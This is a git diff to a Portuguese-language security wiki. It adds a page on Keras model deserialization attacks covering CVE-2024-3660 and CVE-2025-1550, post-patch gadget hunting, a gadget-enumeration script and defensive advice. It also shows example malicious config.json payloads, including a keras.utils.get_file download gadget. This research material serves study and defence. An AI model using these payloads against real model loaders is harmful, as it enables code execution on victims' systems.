diff --git a/src/AI/AI-Models-RCE.md b/src/AI/AI-Models-RCE.md index 0897501e7..207a318b3 100644 --- a/src/AI/AI-Models-RCE.md +++ b/src/AI/AI-Models-RCE.md @@ -15,12 +15,12 @@ No momento da escrita, estes são alguns exemplos desse tipo de vulnerabilidades | **TensorFlow/Keras** | **CVE-2021-37678** (YAML inseguro)
**CVE-2024-3660** (Keras Lambda) | Carregar modelo de YAML usa `yaml.unsafe_load` (execução de código)
Carregar modelo com camada **Lambda** executa código Python arbitrário | | | TensorFlow (TFLite) | **CVE-2022-23559** (análise TFLite) | Modelo `.tflite` malformado aciona estouro de inteiro → corrupção de heap (potencial RCE) | | | **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | Carregar um modelo via `joblib.load` executa pickle com o payload `__reduce__` do atacante | | -| **NumPy** (Python) | **CVE-2019-6446** (inseguro `np.load`) *disputado* | `numpy.load` padrão permitia arrays de objetos pickle – `.npy/.npz` malicioso aciona execução de código | | +| **NumPy** (Python) | **CVE-2019-6446** (inseguro `np.load`) *disputado* | `numpy.load` permitia por padrão arrays de objetos pickle – `.npy/.npz` malicioso aciona execução de código | | | **ONNX / ONNX Runtime** | **CVE-2022-25882** (traversal de diretório)
**CVE-2024-5187** (traversal tar) | O caminho de pesos externos do modelo ONNX pode escapar do diretório (ler arquivos arbitrários)
Modelo ONNX malicioso tar pode sobrescrever arquivos arbitrários (levando a RCE) | | -| ONNX Runtime (risco de design) | *(Sem CVE)* operações personalizadas ONNX / fluxo de controle | Modelo com operador personalizado requer carregamento do código nativo do atacante; gráficos de modelo complexos abusam da lógica para executar cálculos não intencionais | | +| ONNX Runtime (risco de design) | *(Sem CVE)* operações personalizadas ONNX / fluxo de controle | Modelo com operador personalizado requer carregamento do código nativo do atacante; gráficos de modelo complexos abusam da lógica para executar cálculos não intencionais | | | **NVIDIA Triton Server** | **CVE-2023-31036** (traversal de caminho) | Usar a API de carregamento de modelo com `--model-control` habilitado permite traversal de caminho relativo para escrever arquivos (por exemplo, sobrescrever `.bashrc` para RCE) | | | **GGML (formato GGUF)** | **CVE-2024-25664 … 25668** (múltiplos estouros de heap) | Arquivo de modelo GGUF malformado causa estouros de buffer de heap no parser, permitindo execução de código arbitrário no sistema da vítima | | -| **Keras (formatos antigos)** | *(Sem nova CVE)* Modelo Keras H5 legado | Modelo HDF5 malicioso (`.h5`) com código de camada Lambda ainda executa ao carregar (modo seguro do Keras não cobre formato antigo – “ataque de downgrade”) | | +| **Keras (formatos antigos)** | *(Sem nova CVE)* Modelo Keras H5 legado | Modelo HDF5 (`.h5`) malicioso com código de camada Lambda ainda executa ao carregar (modo seguro do Keras não cobre formato antigo – “ataque de downgrade”) | | | **Outros** (geral) | *Falha de design* – Serialização Pickle | Muitas ferramentas de ML (por exemplo, formatos de modelo baseados em pickle, `pickle.load` do Python) executarão código arbitrário embutido em arquivos de modelo, a menos que mitigado | | Além disso, existem alguns modelos baseados em pickle do Python, como os usados pelo [PyTorch](https://github.com/pytorch/pytorch/security), que podem ser usados para executar código arbitrário no sistema se não forem carregados com `weights_only=True`. Portanto, qualquer modelo baseado em pickle pode ser especialmente suscetível a esse tipo de ataque, mesmo que não esteja listado na tabela acima. @@ -33,9 +33,9 @@ Internamente, o endpoint eventualmente chama: ```python checkpoint = torch.load(path, map_location=torch.device("meta")) ``` -Quando o arquivo fornecido é um **PyTorch checkpoint (`*.ckpt`)**, `torch.load` realiza uma **desserialização pickle**. Como o conteúdo vem diretamente da URL controlada pelo usuário, um atacante pode incorporar um objeto malicioso com um método `__reduce__` personalizado dentro do checkpoint; o método é executado **durante a desserialização**, levando à **execução remota de código (RCE)** no servidor InvokeAI. +Quando o arquivo fornecido é um **PyTorch checkpoint (`*.ckpt`)**, `torch.load` realiza uma **desserialização de pickle**. Como o conteúdo vem diretamente da URL controlada pelo usuário, um atacante pode incorporar um objeto malicioso com um método `__reduce__` personalizado dentro do checkpoint; o método é executado **durante a desserialização**, levando à **execução remota de código (RCE)** no servidor InvokeAI. -A vulnerabilidade foi atribuída como **CVE-2024-12029** (CVSS 9.8, EPSS 61.17 %). +A vulnerabilidade foi atribuída **CVE-2024-12029** (CVSS 9.8, EPSS 61.17 %). #### Passo a passo da exploração @@ -161,7 +161,15 @@ with tarfile.open("symlink_demo.model", "w:gz") as tf: tf.add(pathlib.Path(PAYLOAD).parent, filter=link_it) tf.add(PAYLOAD) # rides the symlink ``` -## Referências +### Deep-dive: Keras .keras deserialization and gadget hunting + +Para um guia focado sobre os internos do .keras, RCE de Lambda-layer, o problema de importação arbitrária em ≤ 3.8, e descoberta de gadgets pós-correção dentro da lista de permissões, veja: + +{{#ref}} +../generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md +{{#endref}} + +## References - [OffSec blog – "CVE-2024-12029 – InvokeAI Deserialization of Untrusted Data"](https://www.offsec.com/blog/cve-2024-12029/) - [InvokeAI patch commit 756008d](https://github.com/invoke-ai/invokeai/commit/756008dc5899081c5aa51e5bd8f24c1b3975a59e) diff --git a/src/SUMMARY.md b/src/SUMMARY.md index e7e49e187..781ca1ac5 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -69,6 +69,7 @@ - [Bypass Python sandboxes](generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md) - [LOAD_NAME / LOAD_CONST opcode OOB Read](generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md) - [Class Pollution (Python's Prototype Pollution)](generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md) + - [Keras Model Deserialization Rce And Gadget Hunting](generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md) - [Python Internal Read Gadgets](generic-methodologies-and-resources/python/python-internal-read-gadgets.md) - [Pyscript](generic-methodologies-and-resources/python/pyscript.md) - [venv](generic-methodologies-and-resources/python/venv.md) diff --git a/src/generic-methodologies-and-resources/python/README.md b/src/generic-methodologies-and-resources/python/README.md index a7de465d8..1ecb0e3c6 100644 --- a/src/generic-methodologies-and-resources/python/README.md +++ b/src/generic-methodologies-and-resources/python/README.md @@ -6,6 +6,7 @@ - [**Truques de hacking do Pyscript**](pyscript.md) - [**Deserializações em Python**](../../pentesting-web/deserialization/README.md) +- [**Deserialização de modelo Keras RCE e caça a gadgets**](keras-model-deserialization-rce-and-gadget-hunting.md) - [**Truques para contornar sandboxes em Python**](bypass-python-sandboxes/README.md) - [**Sintaxe básica de requisições web em Python**](web-requests.md) - [**Sintaxe e bibliotecas básicas de Python**](basic-python.md) diff --git a/src/generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md b/src/generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md new file mode 100644 index 000000000..f19ac986f --- /dev/null +++ b/src/generic-methodologies-and-resources/python/keras-model-deserialization-rce-and-gadget-hunting.md @@ -0,0 +1,207 @@ +# Keras Model Deserialization RCE and Gadget Hunting + +{{#include ../../banners/hacktricks-training.md}} + +Esta página resume técnicas práticas de exploração contra o pipeline de desserialização de modelos Keras, explica os detalhes internos do formato .keras e a superfície de ataque, e fornece um kit de ferramentas para pesquisadores encontrarem Vulnerabilidades em Arquivos de Modelo (MFVs) e gadgets pós-correção. + +## Detalhes internos do formato .keras + +Um arquivo .keras é um arquivo ZIP contendo pelo menos: +- metadata.json – informações genéricas (por exemplo, versão do Keras) +- config.json – arquitetura do modelo (superfície de ataque primária) +- model.weights.h5 – pesos em HDF5 + +O config.json conduz a desserialização recursiva: Keras importa módulos, resolve classes/funções e reconstrói camadas/objetos a partir de dicionários controlados pelo atacante. + +Exemplo de trecho para um objeto de camada Dense: +```json +{ +"module": "keras.layers", +"class_name": "Dense", +"config": { +"units": 64, +"activation": { +"module": "keras.activations", +"class_name": "relu" +}, +"kernel_initializer": { +"module": "keras.initializers", +"class_name": "GlorotUniform" +} +} +} +``` +Deserialização realiza: +- Importação de módulo e resolução de símbolos a partir de chaves module/class_name +- invocação de from_config(...) ou do construtor com kwargs controlados pelo atacante +- Recursão em objetos aninhados (ativadores, inicializadores, restrições, etc.) + +Historicamente, isso expôs três primitivos a um atacante que cria config.json: +- Controle sobre quais módulos são importados +- Controle sobre quais classes/funções são resolvidas +- Controle sobre kwargs passados para construtores/from_config + +## CVE-2024-3660 – RCE de bytecode de camada Lambda + +Causa raiz: +- Lambda.from_config() usou python_utils.func_load(...) que decodifica em base64 e chama marshal.loads() em bytes do atacante; a deserialização do Python pode executar código. + +Ideia de exploração (payload simplificado em config.json): +```json +{ +"module": "keras.layers", +"class_name": "Lambda", +"config": { +"name": "exploit_lambda", +"function": { +"function_type": "lambda", +"bytecode_b64": "" +} +} +} +``` +Mitigação: +- O Keras aplica safe_mode=True por padrão. Funções Python serializadas no Lambda são bloqueadas, a menos que um usuário opte explicitamente por safe_mode=False. + +Notas: +- Formatos legados (saves HDF5 mais antigos) ou bases de código mais antigas podem não aplicar verificações modernas, então ataques do tipo "downgrade" ainda podem ser aplicados quando as vítimas usam carregadores mais antigos. + +## CVE-2025-1550 – Importação arbitrária de módulo no Keras ≤ 3.8 + +Causa raiz: +- _retrieve_class_or_fn usou importlib.import_module() sem restrições com strings de módulo controladas pelo atacante de config.json. +- Impacto: Importação arbitrária de qualquer módulo instalado (ou módulo plantado pelo atacante em sys.path). O código de tempo de importação é executado, então a construção do objeto ocorre com kwargs do atacante. + +Ideia de exploração: +```json +{ +"module": "maliciouspkg", +"class_name": "Danger", +"config": {"arg": "val"} +} +``` +Melhorias de segurança (Keras ≥ 3.9): +- Lista de módulos permitidos: importações restritas a módulos do ecossistema oficial: keras, keras_hub, keras_cv, keras_nlp +- Modo seguro padrão: safe_mode=True bloqueia o carregamento de funções serializadas Lambda inseguras +- Verificação de tipo básica: objetos desserializados devem corresponder aos tipos esperados + +## Superfície de gadgets pós-correção dentro da lista de permitidos + +Mesmo com a lista de permitidos e o modo seguro, uma ampla superfície permanece entre os chamáveis Keras permitidos. Por exemplo, keras.utils.get_file pode baixar URLs arbitrárias para locais selecionáveis pelo usuário. + +Gadget via Lambda que referencia uma função permitida (não bytecode Python serializado): +```json +{ +"module": "keras.layers", +"class_name": "Lambda", +"config": { +"name": "dl", +"function": {"module": "keras.utils", "class_name": "get_file"}, +"arguments": { +"fname": "artifact.bin", +"origin": "https://example.com/artifact.bin", +"cache_dir": "/tmp/keras-cache" +} +} +} +``` +Limitação importante: +- Lambda.call() adiciona o tensor de entrada como o primeiro argumento posicional ao invocar o callable alvo. Gadgets escolhidos devem tolerar um argumento posicional extra (ou aceitar *args/**kwargs). Isso limita quais funções são viáveis. + +Impactos potenciais de gadgets permitidos: +- Download/escrita arbitrária (plantio de caminho, envenenamento de configuração) +- Callbacks de rede/efeitos semelhantes ao SSRF dependendo do ambiente +- Encadeamento para execução de código se os caminhos escritos forem posteriormente importados/executados ou adicionados ao PYTHONPATH, ou se existir um local gravável de execução ao escrever + +## Conjunto de ferramentas do pesquisador + +1) Descoberta sistemática de gadgets em módulos permitidos + +Enumere callables candidatos em keras, keras_nlp, keras_cv, keras_hub e priorize aqueles com efeitos colaterais de arquivo/rede/processo/ambiente. +```python +import importlib, inspect, pkgutil + +ALLOWLIST = ["keras", "keras_nlp", "keras_cv", "keras_hub"] + +seen = set() + +def iter_modules(mod): +if not hasattr(mod, "__path__"): +return +for m in pkgutil.walk_packages(mod.__path__, mod.__name__ + "."): +yield m.name + +candidates = [] +for root in ALLOWLIST: +try: +r = importlib.import_module(root) +except Exception: +continue +for name in iter_modules(r): +if name in seen: +continue +seen.add(name) +try: +m = importlib.import_module(name) +except Exception: +continue +for n, obj in inspect.getmembers(m): +if inspect.isfunction(obj) or inspect.isclass(obj): +sig = None +try: +sig = str(inspect.signature(obj)) +except Exception: +pass +doc = (inspect.getdoc(obj) or "").lower() +text = f"{name}.{n} {sig} :: {doc}" +# Heuristics: look for I/O or network-ish hints +if any(x in doc for x in ["download", "file", "path", "open", "url", "http", "socket", "env", "process", "spawn", "exec"]): +candidates.append(text) + +print("\n".join(sorted(candidates)[:200])) +``` +2) Teste de deserialização direta (nenhum arquivo .keras necessário) + +Alimente dicionários elaborados diretamente nos deserializadores do Keras para aprender os parâmetros aceitos e observar os efeitos colaterais. +```python +from keras import layers + +cfg = { +"module": "keras.layers", +"class_name": "Lambda", +"config": { +"name": "probe", +"function": {"module": "keras.utils", "class_name": "get_file"}, +"arguments": {"fname": "x", "origin": "https://example.com/x"} +} +} + +layer = layers.deserialize(cfg, safe_mode=True) # Observe behavior +``` +3) Probing e formatos entre versões + +Keras existe em múltiplas bases de código/eras com diferentes guardrails e formatos: +- Keras embutido no TensorFlow: tensorflow/python/keras (legado, previsto para exclusão) +- tf-keras: mantido separadamente +- Keras 3 multi-backend (oficial): introduziu o .keras nativo + +Repita os testes entre bases de código e formatos (.keras vs legado HDF5) para descobrir regressões ou guardas ausentes. + +## Recomendações defensivas + +- Trate arquivos de modelo como entrada não confiável. Carregue modelos apenas de fontes confiáveis. +- Mantenha o Keras atualizado; use Keras ≥ 3.9 para se beneficiar de listas de permissão e verificações de tipo. +- Não defina safe_mode=False ao carregar modelos, a menos que você confie totalmente no arquivo. +- Considere executar a desserialização em um ambiente isolado, com privilégios mínimos, sem saída de rede e com acesso restrito ao sistema de arquivos. +- Aplique listas de permissão/siglas para fontes de modelos e verificação de integridade sempre que possível. + +## Referências + +- [Hunting Vulnerabilities in Keras Model Deserialization (blog huntr)](https://blog.huntr.com/hunting-vulnerabilities-in-keras-model-deserialization) +- [Keras PR #20751 – Adicionadas verificações à serialização](https://github.com/keras-team/keras/pull/20751) +- [CVE-2024-3660 – Keras Lambda desserialização RCE](https://nvd.nist.gov/vuln/detail/CVE-2024-3660) +- [CVE-2025-1550 – Importação de módulo arbitrário Keras (≤ 3.8)](https://nvd.nist.gov/vuln/detail/CVE-2025-1550) +- [relatório huntr – importação arbitrária #1](https://huntr.com/bounties/135d5dcd-f05f-439f-8d8f-b21fdf171f3e) +- [relatório huntr – importação arbitrária #2](https://huntr.com/bounties/6fcca09c-8c98-4bc5-b32c-e883ab3e4ae3) + +{{#include ../../banners/hacktricks-training.md}}